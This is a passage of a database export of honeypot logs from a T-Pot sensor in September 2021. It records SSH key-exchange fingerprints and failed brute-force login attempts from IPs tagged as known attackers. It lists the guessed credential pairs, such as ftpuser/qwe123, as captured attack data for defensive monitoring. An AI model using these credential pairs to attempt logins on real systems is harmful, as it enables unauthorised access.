"voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
23489	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:39.938162+03	2021-09-20 14:15:07.57147+03	{"_id": "_gbjAnwBvYTbRNuE3g0i", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "8b38f6e5b96d", "@version": "1", "timestamp": "2021-09-20T11:07:39.938162Z", "@timestamp": "2021-09-20T11:07:39.938Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
23491	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:40.042038+03	2021-09-20 14:15:07.574501+03	{"_id": "AAbjAnwBvYTbRNuE3g4i", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "871935357b3b", "@version": "1", "timestamp": "2021-09-20T11:07:40.042038Z", "@timestamp": "2021-09-20T11:07:40.042Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
23492	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:40.094756+03	2021-09-20 14:15:07.575472+03	{"_id": "AQbjAnwBvYTbRNuE3g4i", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "72c411968063", "@version": "1", "timestamp": "2021-09-20T11:07:40.094756Z", "@timestamp": "2021-09-20T11:07:40.094Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
23493	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:40.186703+03	2021-09-20 14:15:07.57647+03	{"_id": "AgbjAnwBvYTbRNuE3g4i", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "b9052ed4dd93", "@version": "1", "timestamp": "2021-09-20T11:07:40.186703Z", "@timestamp": "2021-09-20T11:07:40.186Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
23494	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:40.222093+03	2021-09-20 14:15:07.578471+03	{"_id": "AwbjAnwBvYTbRNuE3g4i", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [junk/junk] failed", "session": "c4d761de32d2", "@version": "1", "password": "junk", "username": "junk", "timestamp": "2021-09-20T11:07:40.222093Z", "@timestamp": "2021-09-20T11:07:40.222Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
23522	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:33.703769+03	2021-09-20 14:15:07.61547+03	{"_id": "fAbjAnwBvYTbRNuExgyt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [office/office] failed", "session": "f368b5b5ef57", "@version": "1", "password": "office", "username": "office", "timestamp": "2021-09-20T11:07:33.703769Z", "@timestamp": "2021-09-20T11:07:33.703Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
23496	115.72.130.93	109.199.241.180	Fatt	2021-09-20 14:07:40.185891+03	2021-09-20 14:15:07.58047+03	{"_id": "EQbjAnwBvYTbRNuE4g4G", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 40158, "dest_port": 22, "timestamp": "2021-09-20T11:07:40.185891", "@timestamp": "2021-09-20T11:07:40.185Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23497	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:41.132426+03	2021-09-20 14:15:07.58247+03	{"_id": "DgbjAnwBvYTbRNuE4g4F", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [ftpuser/qwe123] failed", "session": "72c411968063", "@version": "1", "password": "qwe123", "username": "ftpuser", "timestamp": "2021-09-20T11:07:41.132426Z", "@timestamp": "2021-09-20T11:07:41.132Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": 